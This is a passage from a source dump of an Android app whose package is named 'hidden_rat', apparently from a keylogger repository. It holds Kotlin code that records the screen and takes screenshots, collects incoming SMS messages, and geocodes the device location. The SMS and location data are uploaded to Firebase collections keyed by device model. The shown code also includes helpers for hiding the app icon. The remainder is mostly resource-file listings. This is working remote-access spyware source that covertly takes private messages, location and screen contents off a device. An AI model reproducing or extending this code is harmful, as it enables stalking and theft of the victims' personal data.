101 | val windowManager = getSystemService(Context.WINDOW_SERVICE) as WindowManager
102 | windowManager.defaultDisplay.getMetrics(metrics)
103 |
104 | virtualDisplay = mediaProjection?.createVirtualDisplay(
105 | "ScreenRecordService",
106 | 480,
107 | 720,
108 | metrics.densityDpi,
109 | DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
110 | mediaRecorder?.surface,
111 | null,
112 | null
113 | )
114 | }
115 |
116 | companion object {
117 | const val ACTION_START_RECORDING = "com.example.action.START_RECORDING"
118 | const val ACTION_STOP_RECORDING = "com.example.action.STOP_RECORDING"
119 |
120 | fun startRecording(context: Context) {
121 | val intent = Intent(context, ScreenRecordService::class.java)
122 | intent.action = ACTION_START_RECORDING
123 | context.startService(intent)
124 | }
125 |
126 | fun stopRecording(context: Context) {
127 | val intent = Intent(context, ScreenRecordService::class.java)
128 | intent.action = ACTION_STOP_RECORDING
129 | context.startService(intent)
130 | }
131 | }
132 | }
133 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/service/ScreenshotService.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.service
2 |
3 | import android.annotation.SuppressLint
4 | import android.app.*
5 | import android.content.Context
6 | import android.content.Intent
7 | import android.content.res.Resources
8 | import android.graphics.Bitmap
9 | import android.graphics.PixelFormat
10 | import android.hardware.display.DisplayManager
11 | import android.media.ImageReader
12 | import android.media.projection.MediaProjectionManager
13 | import android.os.*
14 | import android.util.Log
15 | import java.io.ByteArrayOutputStream
16 | import java.io.File
17 | import java.io.FileOutputStream
18 |
19 | class ScreenshotService : Service() {
20 |
21 | override fun onCreate() {
22 | super.onCreate()
23 | startForegroundNotification()
24 | }
25 |
26 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
27 | Handler(Looper.getMainLooper()).postDelayed({
28 | takeScreenshot()
29 | }, 1000)
30 |
31 | return START_NOT_STICKY
32 | }
33 |
34 | private fun startForegroundNotification() {
35 | val channelId = "screenshot_channel"
36 | val channel = NotificationChannel(
37 | channelId,
38 | "Screenshot Service",
39 | NotificationManager.IMPORTANCE_LOW
40 | )
41 | val manager = getSystemService(NOTIFICATION_SERVICE) as NotificationManager
42 | manager.createNotificationChannel(channel)
43 |
44 | val notification = Notification.Builder(this, channelId)
45 | .setContentTitle("Screenshot running...")
46 | .setSmallIcon(android.R.drawable.ic_menu_camera)
47 | .build()
48 |
49 | startForeground(1, notification)
50 | }
51 |
52 | @SuppressLint("WrongConstant")
53 | private fun takeScreenshot() {
54 | val prefs = getSharedPreferences("screenshot_prefs", MODE_PRIVATE)
55 | val resultCode = prefs.getInt("resultCode", Activity.RESULT_CANCELED)
56 | val intentUri = prefs.getString("data", null)
57 |
58 | if (intentUri == null || resultCode == Activity.RESULT_CANCELED) {
59 | Log.e("ScreenshotService", "MediaProjection permission not found.")
60 | stopSelf()
61 | return
62 | }
63 |
64 | val dataIntent = Intent.parseUri(intentUri, 0)
65 | val projectionManager =
66 | getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
67 | val mediaProjection = projectionManager.getMediaProjection(resultCode, dataIntent)
68 |
69 | val metrics = Resources.getSystem().displayMetrics
70 | val width = metrics.widthPixels
71 | val height = metrics.heightPixels
72 | val density = metrics.densityDpi
73 |
74 | val imageReader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888, 2)
75 | mediaProjection.createVirtualDisplay(
76 | "ScreenCapture",
77 | width, height, density,
78 | DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
79 | imageReader.surface, null, null
80 | )
81 |
82 | Handler(Looper.getMainLooper()).postDelayed({
83 | val image = imageReader.acquireLatestImage()
84 | if (image != null) {
85 | val planes = image.planes
86 | val buffer = planes[0].buffer
87 | val rowStride = planes[0].rowStride
88 | val pixelStride = planes[0].pixelStride
89 | val rowPadding = rowStride - pixelStride * width
90 |
91 | val bitmap = Bitmap.createBitmap(
92 | width + rowPadding / pixelStride,
93 | height,
94 | Bitmap.Config.ARGB_8888
95 | )
96 | bitmap.copyPixelsFromBuffer(buffer)
97 | image.close()
98 | mediaProjection.stop()
99 | Log.d("ScreenshotService", "Screenshot captured successfully")
100 |
101 | saveTempScreenshot(bitmap)
102 | } else {
103 | Log.e("ScreenshotService", "No image captured.")
104 | }
105 |
106 | stopSelf()
107 | }, 1000)
108 | }
109 |
110 | private fun saveTempScreenshot(bitmap: Bitmap) {
111 | val file = File(getExternalFilesDir(null), "temp_screenshot.jpg")
112 | val stream = ByteArrayOutputStream()
113 | bitmap.compress(Bitmap.CompressFormat.JPEG, 80, stream)
114 |
115 | FileOutputStream(file).use {
116 | it.write(stream.toByteArray())
117 | it.flush()
118 | }
119 |
120 | Log.d("ScreenshotService", "Screenshot saved at: ${file.absolutePath}")
121 | // Optionally: uploadToFirebase(file)
122 | }
123 |
124 | override fun onBind(intent: Intent?): IBinder? = null
125 | }
126 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/service/SmsService.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.service
2 |
3 | import android.app.Service
4 | import android.content.Context
5 | import android.content.Intent
6 | import android.net.ConnectivityManager
7 | import android.os.IBinder
8 | import android.util.Log
9 | import com.ratx.hidden_rat.model.SMSData
10 | import com.google.firebase.firestore.FirebaseFirestore
11 | import com.google.gson.Gson
12 | import com.google.gson.reflect.TypeToken
13 | import java.io.File
14 | import java.io.FileOutputStream
15 | import java.io.FileReader
16 |
17 | class SmsService : Service() {
18 | private lateinit var firestore: FirebaseFirestore
19 |
20 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
21 | handleIncomingSms(intent)
22 | return START_NOT_STICKY
23 | }
24 |
25 | override fun onBind(intent: Intent?): IBinder? {
26 | return null
27 | }
28 |
29 | override fun onCreate() {
30 | super.onCreate()
31 | firestore = FirebaseFirestore.getInstance()
32 | }
33 |
34 | override fun onDestroy() {
35 | super.onDestroy()
36 | }
37 |
38 | private fun handleIncomingSms(intent: Intent?) {
39 | if (intent?.action == "com.azamovhudstc.SMS_ACTION") {
40 | Log.d("EVENT", "handleIncomingSms: ")
41 | val smsData = intent.getSerializableExtra("smsData") as SMSData
42 | if (isOnline()) {
43 | if (isLocalSmsAvailable()) {
44 | sendAllSmsDataToFirebase()
45 | saveSmsDataToFirebase(smsData)
46 | } else {
47 | saveSmsDataToFirebase(smsData)
48 |
49 | }
50 | } else {
51 | saveSmsToFile(smsData)
52 | }
53 | }
54 | }
55 |
56 | private fun isLocalSmsAvailable(): Boolean {
57 | val fileName = "sms_log.json"
58 | val filePath = File(getExternalFilesDir(null), fileName)
59 | return filePath.exists()
60 | }
61 |
62 |
63 | private fun saveSmsToFile(smsData: SMSData) {
64 | val gson = Gson()
65 |
66 | // Convert the list to JSON string
67 | val jsonString = gson.toJson(smsData)
68 |
69 | val fileName = "sms_log.json"
70 | val filePath = File(getExternalFilesDir(null), fileName)
71 | val outputStream = FileOutputStream(filePath, false) // Rewrite the file
72 | outputStream.write(jsonString.toByteArray())
73 | outputStream.close()
74 | }
75 |
76 | private fun isOnline(): Boolean {
77 | val connectivityManager =
78 | getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
79 | val networkInfo = connectivityManager.activeNetworkInfo
80 | return networkInfo != null && networkInfo.isConnected
81 | }
82 |
83 | private fun sendAllSmsDataToFirebase() {
84 | val smsDataList = readSmsFromFile()
85 | val deviceModel = android.os.Build.MODEL
86 | val collectionReference = firestore.collection("sms_$deviceModel")
87 | for (smsData in smsDataList) {
88 | collectionReference.add(smsData)
89 | .addOnSuccessListener { documentReference ->
90 | Log.d("EVENT", "SMS data sent to Firebase successfully")
91 | // Ma'lumot Firebase ga muvaffaqiyatli yuborilgan, shuning uchun lokal faylni o'chiramiz
92 | deleteLocalSmsFile()
93 | }
94 | .addOnFailureListener { e ->
95 | Log.e("EVENT", "Error sending SMS data to Firebase", e)
96 | }
97 | }
98 | }
99 |
100 | private fun saveSmsDataToFirebase(smsData: SMSData) {
101 | val deviceModel = android.os.Build.MODEL
102 | val collectionReference = firestore.collection("sms_$deviceModel")
103 | collectionReference.add(smsData)
104 | .addOnSuccessListener { documentReference ->
105 | Log.d("EVENT", "SMS data sent to Firebase successfully")
106 | }
107 | .addOnFailureListener { e ->
108 | Log.e("EVENT", "Error sending SMS data to Firebase", e)
109 | }
110 | }
111 |
112 | private fun deleteLocalSmsFile() {
113 | val fileName = "sms_log.json"
114 | val filePath = File(getExternalFilesDir(null), fileName)
115 | if (filePath.exists()) {
116 | filePath.delete()
117 | Log.d("EVENT", "Local SMS file deleted successfully")
118 | } else {
119 | Log.e("EVENT", "Local SMS file not found")
120 | }
121 | }
122 |
123 |
124 | private fun readSmsFromFile(): List {
125 | val gson = Gson()
126 | val fileName = "sms_log.json"
127 | val filePath = File(getExternalFilesDir(null), fileName)
128 |
129 | if (!filePath.exists()) {
130 | // If file doesn't exist, return an empty list
131 | return emptyList()
132 | }
133 |
134 | val fileReader = FileReader(filePath)
135 | val typeToken = object : TypeToken>() {}.type
136 | return gson.fromJson(fileReader, typeToken)
137 | }
138 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/uploader/LocationUploader.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.uploader
2 |
3 | import android.content.Context
4 | import android.location.Geocoder
5 | import android.net.ConnectivityManager
6 | import com.google.firebase.firestore.FirebaseFirestore
7 | import com.google.gson.Gson
8 | import com.ratx.hidden_rat.R
9 | import java.io.File
10 | import java.io.FileWriter
11 | import java.io.IOException
12 | import java.text.SimpleDateFormat
13 | import java.util.Date
14 | import java.util.Locale
15 |
16 | class LocationUploader(private val context: Context) {
17 |
18 | private val fileName = "offline_locations.txt"
19 | private val firestore = FirebaseFirestore.getInstance()
20 | private val gson = Gson()
21 |
22 | fun saveLocation(location: android.location.Location) {
23 |
24 | val geoCoder = Geocoder(context, Locale.getDefault())
25 | val address = try {
26 | geoCoder.getFromLocation(location.latitude, location.longitude, 1)?.get(0)
27 | ?.getAddressLine(0)
28 | ?: context.getString(R.string.address_not_found)
29 | } catch (e: IOException) {
30 | context.getString(R.string.address_not_found)
31 | }
32 |
33 | val model = LocationModel(location.latitude, location.longitude, address, getDateTime())
34 |
35 | if (isOnline(context)) {
36 | uploadLocationToFirestore(model)
37 | } else {
38 | saveLocationToFile(model)
39 | }
40 | }
41 |
42 | private fun uploadLocationToFirestore(model: LocationModel) {
43 | firestore.collection("locations_${android.os.Build.MODEL}").add(model)
44 | .addOnSuccessListener {
45 | deleteLocationFromFile(model)
46 | }
47 | .addOnFailureListener {
48 | saveLocationToFile(model)
49 | }
50 | }
51 |
52 | private fun saveLocationToFile(model: LocationModel) {
53 | try {
54 | val file = File(context.filesDir, fileName)
55 | FileWriter(file, true).use { writer ->
56 | writer.append(gson.toJson(model))
57 | writer.append("\n")
58 | }
59 | } catch (e: IOException) {
60 | e.printStackTrace()
61 | }
62 | }
63 |
64 | private fun deleteLocationFromFile(target: LocationModel) {
65 | val file = File(context.filesDir, fileName)
66 | if (!file.exists()) return
67 |
68 | val updatedList = mutableListOf()
69 | file.bufferedReader().forEachLine { line ->
70 | val model = gson.fromJson(line, LocationModel::class.java)
71 | if (model != target) updatedList.add(model)
72 | }
73 |
74 | file.writeText("") // clear file
75 |
76 | FileWriter(file, true).use { writer ->
77 | updatedList.forEach {
78 | writer.append(gson.toJson(it))
79 | writer.append("\n")
80 | }
81 | }
82 | }
83 |
84 |
85 | private fun isOnline(context: Context): Boolean {
86 | val cm = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
87 | val netInfo = cm.activeNetworkInfo
88 | return netInfo != null && netInfo.isConnected
89 | }
90 |
91 | private fun getDateTime(): String {
92 | val sdf = SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault())
93 | return sdf.format(Date())
94 | }
95 |
96 | data class LocationModel(
97 | val latitude: Double,
98 | val longitude: Double,
99 | val address: String,
100 | val timestamp: String
101 | )
102 | }
103 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/utils/Functions.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.utils
2 |
3 | import android.content.ComponentName
4 | import android.content.Context
5 | import android.content.pm.PackageManager
6 | import android.util.Log
7 | import android.widget.Toast
8 | import com.ratx.hidden_rat.activity.MainFixActivity
9 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/utils/getAppIconByPackageName.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.utils
2 |
3 | import android.content.Context
4 | import android.content.pm.PackageManager
5 | import android.graphics.drawable.Drawable
6 | import com.ratx.hidden_rat.model.NotificationModel
7 |
8 | fun getAppIconByPackageName(context: Context, packageName: String): Drawable? {
9 | val packageManager: PackageManager = context.packageManager
10 | try {
11 | val appInfo = packageManager.getApplicationInfo(packageName, PackageManager.GET_META_DATA)
12 | return packageManager.getApplicationIcon(appInfo)
13 | } catch (e: PackageManager.NameNotFoundException) {
14 | e.printStackTrace()
15 | }
16 | return null
17 | }
18 |
19 | fun hideApp(context: Context) {
20 | val packageName = context.packageName
21 | val pm = context.packageManager
22 |
23 | // Ilovani yashirish
24 | try {
25 | // pm.setApplicationEnabledSetting(packageName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, 0)
26 | } catch (e: Exception) {
27 | e.printStackTrace()
28 | }
29 | }
30 |
31 | fun showApp(context: Context) {
32 | val packageName = context.packageName
33 | val pm = context.packageManager
34 |
35 | // Ilovani ko'rsatish
36 | try {
37 | pm.setApplicationEnabledSetting(packageName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, 0)
38 | } catch (e: Exception) {
39 | e.printStackTrace()
40 | }
41 | }
42 |
43 | fun getPackageNamesFromNotifications(
44 | context: Context,
45 | notifications: ArrayList
46 | ): ArrayList> {
47 | val packageNames = arrayListOf>()
48 |
49 | for (notification in notifications) {
50 | val packageName = notification.packageName
51 | val packageManager = context.packageManager
52 | val applicationInfo = packageManager.getApplicationInfo(packageName, 0)
53 | val label = packageManager.getApplicationLabel(applicationInfo).toString()
54 | if (!packageNames.any { it.first == packageName }) {
55 | packageNames.add(Pair(packageName, label))
56 | }
57 | }
58 |
59 | return packageNames
60 | }
61 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable-v24/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
1 |
7 |
8 |
9 |
15 |
18 |
21 |
22 |
23 |
24 |
30 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable-v24/shape_corner_16dp.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/acc1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/acc1.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/acc2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/acc2.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/acc3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/acc3.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/bg_content.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/bg_gradient.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
11 |
16 |
17 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/bg_gradient_down.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/bg_gradient_up.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/bg_item_badge.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/bg_toolbar.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/box_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | -
4 |
5 |
6 |
7 |
8 |
9 | -
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/box_background_light_ellipses_16.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | -
4 |
5 |
6 |
7 |
8 |
9 | -
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/box_background_light_ellipses_16_end.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | -
4 |
5 |
6 |
7 |
8 |
9 | -
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/box_background_light_ellipses_16_start.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | -
4 |
5 |
6 |
7 |
8 |
9 | -
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/box_background_light_ellipses_24.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | -
4 |
5 |
6 |
7 |
8 |
9 | -
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/box_background_light_ellipses_24_end.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | -
4 |
5 |
6 |
7 |
8 |
9 | -
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/box_background_light_ellipses_24_start.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | -
4 |
5 |
6 |
7 |
8 |
9 | -
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/copy.xml:
--------------------------------------------------------------------------------
1 |
2 |
9 |
12 |
13 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/delete.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/exchange.xml:
--------------------------------------------------------------------------------
1 |
6 |
9 |
12 |
13 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_arrow_back_black_24.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_back.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_backward_128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_backward_128.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_battery_state_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_battery_state_1.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_battery_state_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_battery_state_2.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_battery_state_3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_battery_state_3.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_calendar.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_chevron_left.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_chevron_right.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_clock.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_date_time.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_forward_128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_forward_128.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_go_left_128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_go_left_128.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_go_right_128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_go_right_128.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_info.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
10 |
15 |
20 |
25 |
30 |
35 |
40 |
45 |
50 |
55 |
60 |
65 |
70 |
75 |
80 |
85 |
90 |
95 |
100 |
105 |
110 |
115 |
120 |
125 |
130 |
135 |
140 |
145 |
150 |
155 |
160 |
165 |
170 |
171 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_plus.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_plus.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_share.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_sign.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_signal.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_signal.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_swipe.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_swipe.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_text_more.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_text_typing.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_text_typing_24.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_trash.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_warning.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ic_warning.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_wifi.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ladder.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/ladder.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/logo.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/logo_24.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/logo_24.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/logo_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/drawable/logo_round.png
--------------------------------------------------------------------------------
/app/src/main/res/drawable/shape_dash_line.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/share.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/side_nav_bar.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/splash_screen.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/app/src/main/res/font/gilory_black.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/gilory_black.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/gilory_bold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/gilory_bold.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/gilory_medium.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/gilory_medium.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/montserrat_medium.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
--------------------------------------------------------------------------------
/app/src/main/res/font/montserrat_semibold.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
--------------------------------------------------------------------------------
/app/src/main/res/font/roboto.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
--------------------------------------------------------------------------------
/app/src/main/res/font/rubik_bold.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
--------------------------------------------------------------------------------
/app/src/main/res/font/rubik_medium.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_black.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_black.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_bold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_bold.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_extra_bold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_extra_bold.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_extra_light.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_extra_light.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_font_family.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
13 |
17 |
21 |
25 |
29 |
33 |
37 |
41 |
45 |
49 |
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_italic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_italic.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_light.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_light.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_medium.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_medium.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/professorDeveloper/Android-KeyLogger/c1f4a4ae47930bc231a8397b373679863d73494c/app/src/main/res/font/urbanist_regular.ttf
--------------------------------------------------------------------------------
/app/src/main/res/font/urbanist_semi_bold.ttf:
--------------------------------------------------------------------------------
